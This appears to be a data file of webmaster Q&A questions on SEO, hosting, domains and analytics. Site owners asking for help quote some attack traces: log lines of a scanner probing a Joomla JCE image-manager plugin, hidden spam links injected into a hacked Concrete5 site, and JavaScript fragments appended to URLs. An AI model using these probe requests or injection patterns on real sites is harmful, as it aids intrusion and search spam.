{"id":"58095","title":"Will there be a conflict between my Sitemap.xml and robots.txt?","text":"I have a _robots.txt_ with the following in it: User-agent: * Disallow: http:\/\/tests.compkerworld.com\/report_question_error.php?question_id=*&url=* Sitemap: http:\/\/tests.compkerworld.com\/sitemap.xml My _sitemap.xml_ , which is auto-generated, has all the URLs even those disallowed using _robots.txt_. I have no problem if the search engines crawl all the pages, but I want to know if such an entry will create any kind of conflict for crawlers. One more question: is the above syntax for disallowing correct?"}
{"id":"33502","title":"Repeated calls with random Javascript append to the URL","text":"I keep getting calls to my server where there is random Javascript appended on the end of lots of the calls, e.g.: \/UI\/Includes\/JavaScript\/).length)&&e.error( \/UI\/Includes\/JavaScript\/,C,!1),a.addEventListener( \/UI\/Includes\/JavaScript\/),l=b.createDocumentFragment(),m=b.documentElement,n=m.firstChild,o=b.createElement( \/UI\/Includes\/JavaScript\/&&a.getAttributeNode( \/UI\/Includes\/JavaScript\/&&a.firstChild.getAttribute( \/UI\/Includes\/JavaScript\/).replace(bd, \/UI\/Includes\/JavaScript\/)),a.getElementsByTagName( The user agent is always this: Mozilla\/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) I have jQuery, Modernizr and other JS and originally thought that some browser was messing up it's JS calls, however this particular IP address hasn't requested any images so I'm wondering if it is some kind of attack. Is this a common occurence?"}
{"id":"46804","title":"How do I prevent spam domains from pointing to my site or IP?","text":"I came across an issue where I saw a domain `xyz.com` that is pointing to `mydomain.com`. How do I prevent spam domains from pointing to my domain? I read some posts about setting my virtual hosts and such, but nothing specific about how to prevent it in the first place. I searched on Google, but most answers are for Apache or IIS, and I'm using Tomcat 7 to serve content directly."}
{"id":"42852","title":"How to know whether this page has malware or not?","text":"Google adwords is reporting that the following page has malware on it. Can anyone help me how to scan\/track it properly? and what to do to remove this malware? http:\/\/www.goodtherapy.org\/blog\/distress-tolerance-dialectical-behavior- therapy-0117134 I have tried with **\"maldet\" scan** already and nothing found."}
{"id":"17492","title":"easier way to include Google Analytics script code on every page?","text":"I have a website made up of only HTML pages. Instead of copy pasting the Google Analytics code on every `.html` file, is there a better way to include the Google code on every page?"}
{"id":"17490","title":"widget \/ template code for +1, Like, Follow on Twitter etc","text":"I am trying to setup a website for this design studio and need to put in a widget which would allow people to \"Like, +1, follow on twitter\" etc. I have been writing code for some years now, but I am relatively new to web development. I was wondering if a widget or some online tool exists that would let me generate html\/script code for this."}
{"id":"22854","title":"Can I change the magento logging timestamps offset?","text":"Is there a way to change the `Mage::log()` timestamp in magento? I would prefer it to match my timezone."}
{"id":"17498","title":"How to find all feed directories where a particular site has submitted his feed","text":"I am looking for a list of working sites which accepts feeds, then I struck with an idea that I can find those places by following other sites of my niche which would have already submitted their feed? So is there any way I can do this?"}
{"id":"13385","title":"How to get an image 100% in the middle of every single screen in the world","text":"I have a website with some images, and I want them to be in the middle, now on my screen they are in the middle. Because I've put them there by moving them to one side, when I get my friends to look at it, the image is off to one side. On a 13.5\" screen it will look to be in the middle."}
{"id":"2663","title":"Does the line-ending format of robots.txt matter?","text":"Simple question: Should I make sure to use Unix line endings for my robots.txt, or does it not matter?"}
{"id":"13380","title":"Statistics about development of average connection speed and latency over the years","text":"Are there any statistics about the development of average internet connection speed and request latency from households to major sites over the years? I find this information very useful for ajax related software design (i.e. feasibility studies of several webapp use cases)."}
{"id":"4490","title":"Can I expect browsers to cache static content served over SSL encryption?","text":"With all the talk about FireSheep I am thinking of switching my web applications to use full https accross the entire site. However, I am concerned about caching. I use a lot of JavaScript, CSS files, images, and other static content that I expect the browser to cache. If it doesn't that could mean significant delays for users. Is there a way to get browsers to cache static content served via SSL? Will the `cache-control: public` HTTP header help? How do the different browsers handle this? Do they never cache the data? Do they cache for a single browser session? I don't want to serve the static content from an unsecured connection if that means some browsers will put up the warning that some resources are not secure. Is there an alternative solution? Thanks!"}
{"id":"20984","title":"Flash site loads slowly","text":"I have a simple html page that embeds an swf, that downloads other xml, swf and image files. The total count of the requests reaches about 90. I am aware that it should take a while until the content is available and I am OK with that. All the needed files are hosted by two different providers in the US: flashxml.net\/monochrome-demo.html and u1.flashcomponents.net\/samples\/8751\/index.html From two different countries in Europe, the content shows up a lot later (almost twice as later) from flashxml, than flashcomponents. I've done mtr tests and the ping difference is about 40ms and the flashxml server load is below 1. Do you have any other suggestions as to what should I look at?"}
{"id":"48183","title":"Sqaure payments for Joomla","text":"I'm having trouble finding a Joomla component that supports payment though Square. Does one exist or, is Paypal and Google checkout my only options."}
{"id":"2668","title":"Are there any technical issues with having an 'internationalized' domain name?","text":"In my language there are numerous characters that are not allowed in the standard domain name. However, most of these can be easily replaced with safe equivalents (mostly dropping accents `í` becomes `i` etc.). So while we have often registered both forms (e.g. `timarit.is` and the proper Icelandic `tímarit.is`) we have always made the 'safe' form the default and the other merely redirects to it. However, we are now in the position where the substitution is less favorable (`æ` becomes `ae`) and would prefer to use the internationalized name by default. My question is simply if there are any known issues with this? Browser incompatibility comes first to mind, but I'm equally worried there are other things that _aren't_ coming to mind. **BOUNTY** I started a bounty on this so I won’t have to post a duplicate question. I’d like to hear if there are any practical consequences using IDNs with (1) FTP and (2) e-mail servers\/clients; and (3) which browsers struggle with the domains? (4) What about mobile devices‽ Also (5) has anything changed on the subject—it's almost a year since the question was asked."}
{"id":"44409","title":"What kind of redirect (301 or 302) for an email links tracker?","text":"We are developing an email sending application (\"à la\" Mailchimp). Hyperlinks inserted by our users, in the emails they want to send, are replaced by a tracking URL on our application (`https:\/\/ourdomain.com\/trackingurl?blablabla`) which then redirects the email reader to the original URL our users included in their emails. This allows us to record statistics about link clicks. Until now, we used 301 for those redirections, but we noticed that Google began indexing pages on our application which are in fact redirects to other domains. (The title and snippet in Google results are from the other domain, but the link in green is from our application). We took action by adding those urls to our robots.txt, but Google seems to take forever (months!) before removing them for its index and removing them by hand in Webmaster Tools would take a lot of time since there are lot. I would like to know which kind of HTTP redirect (301 or 302) is best suited for this kind of opreation ? Do you think switching to 302 redirects could improve this situation since we don't really want Google to index redirected links from our clients emails ?"}
{"id":"2938","title":"When should i consider having text as an image in my website heading","text":"i see many sites that have their heading as an image. what is the benefit of this? when is a best practice to use text as images as opposed to just having text in my html. is this just for supporting non standard fonts?"}
{"id":"2936","title":"Design -> Crowdsourcing or hire a pro?","text":"I'm a web dev since a decade now, but my design skills are... well, are the designs skills of a programmer! Anyway, I've been working on a personal project for some time now and I would like some advice on what I should do with the design of the website? Hire a pro or use 99designs (or website like that). Plus, what are the costs of the pros VS 99 designs? I have no logo and no design. Anybody have any experience with this?"}
{"id":"61549","title":"Concrete5-based site hacked","text":"It seems my Concrete5-based site has been hacked - found this in my default and homepage templates footers: <div style=\"position:absolute;left:-6397px;\"> <a href=\"http:\/\/pleasantvalleywinetrail.com\/order\/antibiotics.html\">cheap Antibiotics<\/a> ... many more <a>s ... <\/div> Has anyone else come across this? Any idea how the site might have been compromised? I've changed FTP and c5 admin passwords but would appreciate any advice on reducing the odds of this happening again. It's 5.6.1.2 by the way."}
{"id":"44403","title":"Google's microdata for product images which aren't displayed in the page?","text":"My internet shop displays thumbnails of products' images, and I see that these thumbnail are (slowly) being indexed by Google. I want also full images to be indexed. (I've seen some other questions on that topic, but this one is not a duplicate I think). So my question is:can I use microdata for this? Something like this: <meta itemprop=\"image\" content=\"\/uploads\/images\/medium\/product_img.jpg\" \/> Or: <meta itemprop=\"image\" src=\"\/uploads\/images\/medium\/product_img.jpg\" \/> Would it do the trick?"}
{"id":"44402","title":"Google's microdata and html5 validation errors","text":"According to Google's documentation about product microdata, when I want to mark product's availability in my internet shop, I should do the following: <span itemprop=\"availability\" content=\"in_stock\">In stock! Order now!<\/span> And I do similar: <p class=\"centered\" itemprop=\"availability\" content=\"in_stock\">Produkt dostępny<\/p> Unfortunately the W3C validator reports an error on this: > Blockquote Line 569, Column 73: Attribute content not allowed on element p > at this point. So... what is wrong with my code or with google? **EDIT:** I also have warnings: RDFa Core attribute content is not allowed on the p element in HTML5 + RDFa 1.1 Lite documents. Consider checking against the HTML5 + RDFa 1.1 schema instead. But if I understand specs correctly, HTML5 implies RDFa 1.1, not 1.1-Lite? My DOCTYPE is `<!DOCTYPE HTML>` **EDIT2: I got the solution now** Despite my code in question not being correct HTML5 code, it was correctly recognized by Google's tool for testing rich descriptions. It did not satisfy me, so I decided that if `content` attribute was only allowed on `<meta>` tags, let's go with `<meta>`: <p class=\"centered\">Produkt dostępny<\/p> <meta itemprop=\"availability\" content=\"in_stock\"\/> This way the code is: * unambiguous - the meta element is a child of the itemscope element, * accepted by HTML5 validation tool, * still recognized properly by Google's tool."}
{"id":"2931","title":"Getting domain & hosting together or separate","text":"some people suggest getting hosting and domain names separate as hosts that bundle domain names with hosting make it difficult to switch hosts. how true is that? i am considering host gator. i see a .com is $15. and at godaddy, its $11.44. should i get a domain name @ go daddy and use hosting from host gator? i see bad reviews for godaddy about their hosting. hows their domain name? or where would recommend for hosting and domain name?"}
{"id":"53605","title":"Real example of Google Analytics profile","text":"I am going to make a deal with owner of some website, that he will pay me for redirection from my website if it will end with transaction. ASAIK, he should enable e-commerce tracking in his GA profile, and integrate GA tracking code in his custom made online shop. That is the easy part, which I can handle (I mean, I can explain my client, what he should do). My client asked me, how to generate proper report, which will be base for our monthly payments. I don't know how to do that, because I never had GA profile with e-commerce data. I can't wait for first data in my client profile, and then figure out on his profile, because I will not get access to his account (and this is out of the discussion :( ), because in this profile there are a lot sensitive information. So I thought, maybe there are some fake\/example Google Analytics accounts to learn how to use it or create proper report. Do you know any or can you give me some information, how this situation can be solved?"}
{"id":"18588","title":"The closest free Magento extension to replicating the enterprise enhanced CMS functionality?","text":"Are there any\/what is the closest free Magento Community extension that features the 'menus and page hierarchy' functionality of the enterprise edition?"}
{"id":"58271","title":"Legal rights over TLDs (country specific - UK)","text":"My question is regarding the legal \"right\" to a domain name and\/or TLD given certain circumstances. For example, I have a company called Example Limited which registered in the United Kingdom. I own the domain name `example.co.uk` but not `example.com`. I'd like to have the domain name `example.com` for brand consistency and ease of use but it seems I was too late and someone already purchased the domain name. On their site is the standard ad links with a \"This site is for sale for $40,000!\" banner. Of course, I don't particularly wish to part with $40,000 for a domain name. So my question is how little (or indeed much) must be done in order to be able to claim a `.com` if I own the `.co.uk`? Does any of the below change the \"rights\" I have to a domain name? 1. Being a legally registered company in the United Kingdom. 2. Owning the other domain names (`.co.uk` but not `.com` for example). 3. Having the name trademarked (UK). 4. Having the name trademarked (EU). 5. Having the name trademarked (US). 6. Being a legally registered company in the US."}
{"id":"5322","title":"Multi Language URLs","text":"I'm building an online store that will be supported in 3 languages: English, Traditional Chinese, and Simplified Chinese. My question is whether or not it is a good idea to make language specific URLs for SEO purposes. So if I'm viewing the site in english, the urls on the product page are in english, but if I view the site in traditional chinese, then the urls are written in traditional chinese. E.g. www.mysite.com\/items\/1\/blue_cup (english) www.mysite.com\/xxxxx\/1\/xxxxxxxx (traditional chinese) www.mysite.com\/yyyyy\/1\/yyyyyyyy (simplified chinese) **EDIT** I should note that this is a site primarily built for a Traditional Chinese speaking country so it should cater towards that audience and their dominant search engine: Yahoo"}
{"id":"18581","title":"Is it a bad idea to start a forum in a shared web hosting server?","text":"I'm launching a forum for foreigners in Taiwan. Right now, I don't have much money so I purchased a shared web hosting server at Dreamhost (The Happy Hosting Plan, which is around 9 US dollars a month). Is it a bad idea? I can just migrate the site to a new dedicated server when I get more users, but I'm not sure if this waht most forum web masters do."}
{"id":"35588","title":"Should I pay for search engine submission as a web hosting extra?","text":"When people buy hosting at Go Daddy or other shared hosting, there is a $1.99\/month additional fee to be submitted to search engines. What is involved in that process? How can I do the same thing if my shared hosting provider doesn't offer this service?"}
{"id":"32775","title":"Auto-apply a role to new phpBB user with password or code","text":"Is there a way, with phpBB to have a new user enter a password which would automatically move them into a specific role? I'd like to be able to allow certain people to sign up and automatically have access to certain forums, without having to wait to be approved. If not, would someone point me in the right direction on how to set this up? I'm not as fluent in PHP as I am in C# and javascript, but if I got the general idea of where to make the changes, I could probably whip something up. I pictured an \"Authentication ID\" field, where I could provide a code in advance... a guid or something. When they registered, it'd automatically move them from the new user role to a specific one."}
{"id":"14602","title":"Pros and cons of long-term domain registrations","text":"What are the pros and cons for long-term domain registrations, such as 5 or 10 years? One benefit I can think of is locking-in the domain price. I can't really think of any cons (beyond just not using the domain), especially since transferring between registrars is so easy."}
{"id":"20185","title":"What happens if I let my domain expire?","text":"I have a domain on GoDaddy which I want to transfer. Due to too much hassle (can't remove the privacy entries, lost email account password, etc. etc.) for a transfer, I just thought that I can let it expire to re-register it with a different host. Is this possible or will GoDaddy keep the domain for some time before I re- register it? TL;DR the domain expires 10\/20\/2011 - can I just register with a new host on 10\/21\/2011?"}
{"id":"13038","title":"Tools to convert joomla and wordpress template to Drupal 7 theme?","text":"Is there any tool to convert joomla and wordpress template to Drupal 7 theme?"}
{"id":"13031","title":"how to design scoreboard?","text":"I developed an online exam using .net and now I want to send score to mail. But I want it look like a certificate. How should I design it, or alternatively, are there any template designs available"}
{"id":"18725","title":"My site is indexed in Google yet does not show in the SERPs","text":"Please someone solve this mystery that has been plaguing me for months! All pages have been cached by Google recently yet still will not show up in a search. I'm guessing it's being penalized? How would I know\/find out? Index page & Web Design page both show up: http:\/\/infin80.com http:\/\/infin80.com\/web-design\/las-vegas-web-design.php These 2 pages can not be found unless you put in \"site:infin80.com\" into Google: http:\/\/infin80.com\/logo-design\/las-vegas-logos.php http:\/\/infin80.com\/print-design\/las-vegas-graphic-design.php I test it by quoting any line of text directly into Google such as the 1st line of copy on the logo page \"Creating a small business brand is every bit as important for your small\" and always get \"No results found for...\" ## Additional Part All the webmaster tools are submitted properly with a sitemap (only 5 pages) and a robot.txt file that doesn't block any pages. Why would one sub-page be indexed (web design) while the others are there if you put in the url \"http:\/\/infin80.com\/logo-design\/las-vegas-logos.php\" but not any of the text\/images?!?"}
{"id":"54204","title":"Finding what is causing my site to issue 301 redirects","text":"I have an URL which is 301 redirecting but I cannot find where or how it is happening and wanted some checks to perform if possible? * I've checked _.htaccess_ - it's not there * I've checked cPanel in redirects section - it's not there * In WordPress, I have the redirection plugin active and it's not there either Is there anywhere else that could be issuing redirects? I'm at a loss to find out where and how the page is redirecting!"}
{"id":"56899","title":"Securing webserver from spam\/phishing\/malware - beyond RBLs?","text":"We offer a service that requires URLs from our domain to be linked to external URLs. About ten years ago, we discovered that this functionality can be abused by miscreants -- to link to malicious URLs. So we have multiple protection mechanisms, using Google Malware database (hourly updated) to check the domain against, and similarly checking the domain and IP on spam Relay Black Lists such as SpamHaus and SpamCop. Yet, there are always new and upcoming domains to which people can link from our site, domains that are NOT YET in any RBLs. Some such domains have been (ab)used by people recently, and as a result, Google has included our domain on their misguided malware list too. Questions: 1. Apart from the automation of RBL etc, what am I missing, what else can we do to work against spammers of this kind? Our RBL check is basically \"live\", but how can we capture domains that are malicious before they're in RBLs? 2. Any good advice on getting Google to un-list our website? (We actually blocked Google's News website on our site too, because `news.google.com` has a vulnerability where there \"goto\" URL can take any site behind the URL and forward the user to it...so we spotted many spammers using this functionality. Google has not fixed this weakness on their site, so we have blocked `news.google.com` from being used on our site. Could Google have added us to the malware DB as a result of this, in a vindictive move?) Many thanks for any pointers or advice regarding best practices for this kind of server protection."}
{"id":"31781","title":"SEO for a complex URL with multiple specifiers","text":"I have a jobs website. There are categories and sub categories e.g the URL for builders is `www.mydomain.com\/jobs\/all\/active\/202\/tradesmen\/799\/builders\/county\/all` Because of the framework I'm using (Elgg), the \"all\" and \"active\" come after the plugin name. Also, I need to do a lot of things with the URL: get the plugin (job), get the correct type of entities (all and active), get the category (202 and tradesmen), get the subcategory (799 & builders) and get the location (county and all). Is this URL SEO friendly or is it too messy? Is something like `www.mydomain.com\/jobs\/tradesmen\/builders\/all` better?"}
{"id":"18728","title":"Duplicate content site skipped in Yahoo and Bing","text":"I want to buy a 1 year old site which my friend had initially created with duplicate content. In the later months he removed all such material and placed original stuff. Now it is in top charts in Google. But it is completely skipped by Yahoo and Bing. Will it ever be able to come back in Yahoo and Bing given both give exactly same search results."}
{"id":"18059","title":"AdWords: how to optimize for only one or two conversion types?","text":"I've checked: \"Use my conversion tracking data and bids to optimize for conversions\". I have 3 conversion types, but one of these is not relevant in terms of the optimization. How do I get AdWords to focus on one or two relevant conversion(s)?"}
{"id":"65113","title":"Can I submit multiple domain sitemaps in Google Webmaster Tools?","text":"My site is setup in Blogger with a custom domain name. Currently, `url.blogspot.com` is `301` redirected\/forwarded to `www.url.mydomainname.com`. The naked domain `mydomainname.com` is returning a `404` status code. Can I submit a sitemap in Google Webmaster Tools for the `www.url.mydomainname.com`? Right now in my Google Webmaster Tools account, I only have `url.blogspot.com` with a sitemap."}
{"id":"17807","title":"Tools to track internal traffic","text":"Google Analytics is a great analytics tool. However I find it's not easy when it comes to tracking INTERNAL traffic. For example, let's say I put a banner on my ecommerce advertising a specific product, and want to see how many people buy it thanks to this? Or maybe I add a \"best seller\" box somewhere and want to see what sales it brings me. Can I do that cleanly and easily with Google Analytics? Or are there better tools out there suited for tracking internal traffic?"}
{"id":"3167","title":"How to professionally update your server configuration","text":"I've installed several websites on my Ubuntu server and I need now to add an extension and some modules to my php configuration file. Since I have some e-commerce websites I was wondering if I should put all these websites offline before to proceed with it, and if this is the usual procedure. Let's say, any guideline for a professional procedure is welcome. thanks"}
{"id":"53463","title":"Why won't google adwords spend my entire budget","text":"I have a campaign on ad words. It's a \"Test\" area.. i give it $50 a day. One of the ad groups there was doing well with a 600% return. I moved it over to it's own campaign and gave it a budget of $500 a day. The day is almost over and it yet to even spend $50. It should have cleared 400 by now if it's going to spend my 500. Why is this happening? I am getting a good return why won't good spend all my money? Do they not want my money? Am i doing something wrong?"}
{"id":"33875","title":"403 Forbidden on Images on my subdomains","text":"I am pulling my hair out after multiple back and forths with 1and1 support both via email and telephone. I've setup multiple subdomains via the 1and1 control panel and that looks to work fine. The one in the screenshot below is http:\/\/x3.keefermadness.com Everything loads properly except images. Inspecting them, they're giving a 403 Forbidden. I've tried changing the permissions on individual files and the directories in that structure to no avail. 1and1 keeps blaming it on my image references, but they work fine locally via MAMP with no changes to anything. Any ideas? 1and1 has been completely worthless, and I'm very close to just moving to another web host. I've tried other web content, including a clean wordpress install. No images ever load. Everything else - html, JS, CSS, loads fine. "}
{"id":"30786","title":"Referrals websites","text":"I'm using google analytics's, but I really can't manage to view referring websites (website url's where users are coming to my website from) I can check it only while checking real time stats. I have been googling, but couldn't find proper solution, will be grateful if someone can tell me which options should I enable, thank you."}
{"id":"20234","title":"Cloud Providers vs Traditional Hosts","text":"I'm rolling up my sleeves and trying to tackle the fundamental concepts of cloud computing for the first time. I am planning to build a highly-scalable web application, and can't ignore the potential benefits of cloud platforms. Now I _think_ I get all the basic concepts of it, except when I try to compare it to service plans offered by traditional web hosts such as GoDaddy. GoDaddy, for instance, offers a Grid Hosting package where you can basically keep adding machines to your plan as demand grows. How are plans like this different than a \"true\" cloud service offered by someone like Amazon?"}
{"id":"27516","title":"PHP not working with hosting","text":"I have been playing with a php CMS site for someone that I am ready to deploy but am running into a couple problems that I assume to be hosting related. I have been developing and playing with it localy and deploying to a hosting environment friendly towards this specific CMS (joomla). I have recently been trying to deploy to a client's hosting and have been running in to some trouble. Any help would be greatly appreciated. I have been in contact with the clients hosting and have had them set up a mysql DB for me and enable php. Simple php was working but joomla was not able to create the config files it needed to run on this hosting. Therefore I havnt been able to successfully deploy my work. While playing around with some simple php pages I have started getting http 500 errors and now cant seem to get anywhere. This is a smaller hosting company that seems willing to work with me but I dont really know what i need to ask from them to get me working. My questions to you webmaster geniuses would be as follows: **Given the situation I have described, is there anything specifically i should do to get my joomla\/php site running on this hosting?** **What specifically should I ask my current hosting providers to do to help me get working?**"}
{"id":"29787","title":"How can I cap cloud-costs?","text":"I am looking into launching a cloud-based product for consumers where with a prepaid account they can start a server with a simple click and load up the software and access it remotely. The technical side of that I can manage, but I am worried about the costs escalating ridiculously high for both me and my customers Is there a way I can * Limit how much each server can cost me before it will be deactivated * See how much a server is currently costing me (so I can deduct it from their account) with it being extremely reliable as I don't want to have to have a giant bill in any possibility."}
{"id":"48958","title":"Google sandbox (Google penalty) is real or not?","text":"Most of the SEO analysts are saying that Google Sandbox (Sandboxing or the sandbox effect or the Google penalty) is still available but when I searched Wikipedia I found that, Google didn't conformed it yet and there is no proper evidence or official announcement. If you searched _Google Sandbox_ on Google search engine you would find more results from various sites and not from Google but would find some results from Google which would be pointing to other theme not about Google penalty. I want to know whether Google sandbox is real or not? If so how could I check my site's presence inside that sandbox (I don't need other sites link but only need Google sandbox tool)?"}
{"id":"29781","title":"Project planning and customer tracking system","text":"First off, sorry if this is the wrong 'stack' site, but it seemed like a good place to start. I'm happy to report that my services as a web developer are starting to be in quite a lot of demand, and I have a few existing and potentially new customers all lining up - but I'm finding it very hard to keep track of everything. What I'm hoping for is some (preferably web-based) system which I can use to keep track of who my customers are, the various projects that I've got going on for them, and (if possible) the individual sub-tasks that make up each project. What would be even better is if the relevant customer was able to log into the site, and see the process of their projects. I do hope you know what I'm talking about, and that you'll be able to offer some suggestions of either web-base sites that offer something along these lines, or of some open source solution or something like that? Thank you"}
{"id":"736","title":"Which DNS registrars will hide my WHOIS information?","text":"Whilst browsing this question, some of the answers mentioned that certain registrars will replace your whois information with their own. Can anybody provide details on which registrars offer this service?"}
{"id":"68107","title":"Why do I see requests from BOT\/0.1 (BOT for JCE) in my server access log and what should I do about them?","text":"**My server keeps getting requests with user agent identified as`BOT\/0.1 (BOT for JCE)`.** The first one arrived 2013-09-14 22:13:17 CEST, the last one yet about three days ago, 2014-08-12 06:05:39 CEST. * Most of them (about 60 %) use GET method of HTTP\/1.1 and try to get `index.php` at various locations on my site based on paths I already use. They always result in response with 404 status code (Not Found) or 400 (Bad Request) as I don’t use PHP at all. * About 40 % of them are HTTP\/1.1 POST requests for `\/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager…&cid=20…` where `…` are either 1. `&version=1576` and empty string (about 50 %), or 2. `&method=form` and &6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b (about 50 %), or 3. rarely `&method=form` and &6bc427c8a71281f4fe1f5ac65c1246b5f=cf6dd3cf11223c1250586d0dd5125c8e20b As with the GET requests, this is sometimes appended after a URL my site uses. These mostly (75 %) result in 404 or 400; but when they hit my installation of MwForum (25 %), even 200 OK (for the 1st subtype) or 500 Internal Server Error (for the 2nd and 3rd subtype) is generated, which I assume is just poor coding of MwForum. * About 5 % (“round-off” error in the percentages above) of them are utterly malformed requests, having parts of HTML code on request line where path and query string should be. Most of them try POST to MwForum. At the beginning, there is URL of one of my site’s pages, followed by a quote, some HTML code, and at the and another URL with `\/index.php?option=com_jce&…` appended. They probably come from dumb webscraping. Sample log lines: 2014-08-05 22:50:32 93.95.74.25 \"HTTP\/1.1\" GET example.com \"\/index.php\" 400 0 0 \"-\" \"BOT\/0.1 (BOT for JCE)\" \"-\" 2014-02-23 08:50:35 202.29.16.241 \"HTTP\/1.1\" POST example.com \"\/mwforum\/topic_show.pl?tid=1485\/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b\" 500 711 0 \"-\" \"BOT\/0.1 (BOT for JCE)\" \"-\" 2014-01-28 15:25:55 94.23.4.47 \"class=\\\"url\\\" data-dot=\\\"url\\\">example.com\/mwforum\/topic_show.pl?tid=1485<\/a> <\/div> <\/div> <\/div> <script> JAK.Fulltext.ResultScreenshotResize(\\\"#resultNumber4\\\"); <\/script> <\/div> <div data-dot=\\\"4\\\" data-elm=\\\"r4\\\"> <div class=\\\"modCont result cr\\\" id=\\\"resultNumber5\\\"> <a href=\\\"http:\/tracker.modx.com\/issues\/7324\\\" class=\\\"fullclick\\\"><\/a> <div class=\\\"screenshot\\\"> <a id=\\\"modImgA-5\\\" href=\\\"http:\/tracker.modx.com\/issues\/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP\/1.1\" POST example.com \"\/mwforum\/topic_show.pl?tid=1485\\\"\" 500 711 0 \"-\" \"BOT\/0.1 (BOT for JCE)\" \"-\" **Is the bot trying to exploit Joomla Content Editor (JCE)?** I don’t use JCE, nor Joomla, nor PHP itself. **What should I do about those requests?**"}
{"id":"22411","title":"Sitemap to display hash tag links or not?","text":"I am just creating sitemap for my site and wanted to find out if I should include # links for SEO? **For Example:** www.mydomain.com\/#comment1 www.mydomain.com\/#comment2 Does this help with SEO or because the page is essentially the same just conflict?"}
{"id":"23520","title":"REL ME tag - trying to figure it out","text":"Regarding http:\/\/support.google.com\/webmasters\/bin\/answer.py?hl=en&answer=1229920 to scrolled down section ''Examples'' to the point ''1.'' to the second code line which is: `<a rel=\"me\" href=\"https:\/\/plus.google.com\/105240469625818678725\/\"> <img src=\"\/\/www.google.com\/images\/icons\/ui\/gprofile_button-16.png\"><\/a>` On the page says that I have to add this line to the Contact Me page of own website in order to get Google Profile button. Exact code which one should be copy and pasted I am able to get here: http:\/\/www.google.com\/webmasters\/profilebutton\/ Questions: 1). As you can see on the second URL, to make Google Profile button I need to use \"author\" tag and not \"me\" tag. But the first URL which I showed (the line in this message above) shows that I have to use \"me\" tag and even without this: width=\"32\" height=\"32\". I am already aware that I have to type (second URL) my own Google Profile URL. So do I just MANUALLY ( ! ) change this: `<a rel=\"author\" href=\"https:\/\/profiles.google.com\/109412257237874861202\"> <img src=\"http:\/\/www.google.com\/images\/icons\/ui\/gprofile_button-32.png\" width=\"32\" height=\"32\"><\/a>` to this (note: two changes done): `<a rel=\"me\" href=\"https:\/\/profiles.google.com\/109412257237874861202\"> <img src=\"http:\/\/www.google.com\/images\/icons\/ui\/gprofile_button-32.png\"><\/a>` Is this correct? I assume that plus.google.com is the same as profiles.google.com (both is URL of Google Profile). 2). If I was wrong with my first question then the second answer probably won't be even useful but still: Where exactly should I paste the code: `<a rel=\"me\" href=\"https:\/\/profiles.google.com\/109412257237874861202\"> <img src=\"http:\/\/www.google.com\/images\/icons\/ui\/gprofile_button-32.png\"><\/a>` inside Author Page of own website? I think it doesn't matter where. Also: will this icon be for sure enough or do I also have to make such anchor text with rel me in a ''shape'' of text (for word sentence such as ''Look At My Google Profile'')? Or is just icon really enough? 3). In the same section (''1.'') of the same page (link [first one] provided above) it says that I need to use first author tag to link to Author\/Contact Me page of own website in order to later use Me tag. But I think in the explanation is little mistake. Shouldn't be instead of: `<a rel=\"author\" href=\"http:\/\/www.cnet.com\/profile\/iamjaygreene\/\">Jay Greene<\/a>` this: `<a rel=\"author\" href=\"http:\/\/www.cnet.com\/profile\/iamjaygreene.html\">Jay Greene<\/a>` ?"}
{"id":"23525","title":"Will google remove the old caches if noarchive is added to robots.txt","text":"If you want google's cache of your site to remain unchanged is it a good idea to add noarchive to robots.txt? Or will this wipe out your caches?"}
{"id":"23527","title":"Multiple custom 404 pages","text":"Do you have a suggestion on how I can get a random 404 page displayed when a page isn't found. I use Wordpress and am currently using a custom `404.php` file for displaying a 404 page but what I want is to have three or four different pages that are displayed randomly when a visitor 404s."}
{"id":"47989","title":"Pros and cons of tracking referral trafic with \"utm\" tags","text":"We have a blog discussing products of a variety of manufacturers. Recently a manufacturer asked us if we could `utm` tag links from our blog to his site with the tags `utm_source=OurSiteName&utm_medium=site&utm_campaign=OurSiteName`. Since the manufacturers can already see our traffic in his referral traffic report, I do not see the point of adding `utm` tags to all our outbound links to manufacturers but perhaps I am missing an important point. Is there an advantage of tagging outbound links with `utm` tags instead of just leaving the traffic to appear in the referral traffic section of the receiving website (eg is the referrer information in HTTP requests less reliable than `utm` tagging,...)?"}
{"id":"27634","title":"More information about worldwide nodes how to get?","text":"The context: Six hosts across worldwide were traced over week from UK. Ten thousands of lines to be parsed and analysed. And then I try to find any clue of geographical information and path - from where it jumps where. Then after Austria or Germany(each time different) I have mysterious 62.208.72.6 which in GEO LOC gives me Falklands Islands (which is where my target host is by the way, but before target host I still have 5 other nodes) Then I do whois for this 62.208.72.6 route: 62.208.0.0\/16 descr: DE-ECRC-62-208-0-0 origin: AS1273 mnt-by: CW-EUROPE-GSOC source: RIPE # Filtered Why it says Europe now? How to understand this enigma code? I want to confirm more or less whether this is in europe or in falkland islands? But it can't be in FK yet as after next two hosts I get New York? Could you also tell me what does this CW-EUROPE-GSOC abbreviation means. (To preserve your sanity better not google, unless you already know it :-D) And the actual whois for the destination\/target host, which completely destroys my head: route: 195.248.193.0\/24 descr: HORIZON descr: Cable and Wireless Falkland Islands descr: Via Cable and Wireless Communications UK origin: AS5551 mnt-by: AS5551-MNT source: RIPE # Filtered How is it Via Cable and Wireless Communications UK if two nodes before I was in New York? Thank you guys,"}
{"id":"27636","title":"How to proxy with apache site from same domain but another port as a subfolder?","text":"So I have a problem - I have my main site on apache web server on debian on port `80`; I develop a web server (in some C++ or C#) and it currently runs on port `6666`. But some people are living under firewalls and can access only port `80`. I wonder if it is possible via apache map all requests to say `mysite.com:80\/6666\/url` as if they were to `mysite.com:6666\/url`, not map via redirection, but really make apache stream content from my site to user as if it were in some folder?"}
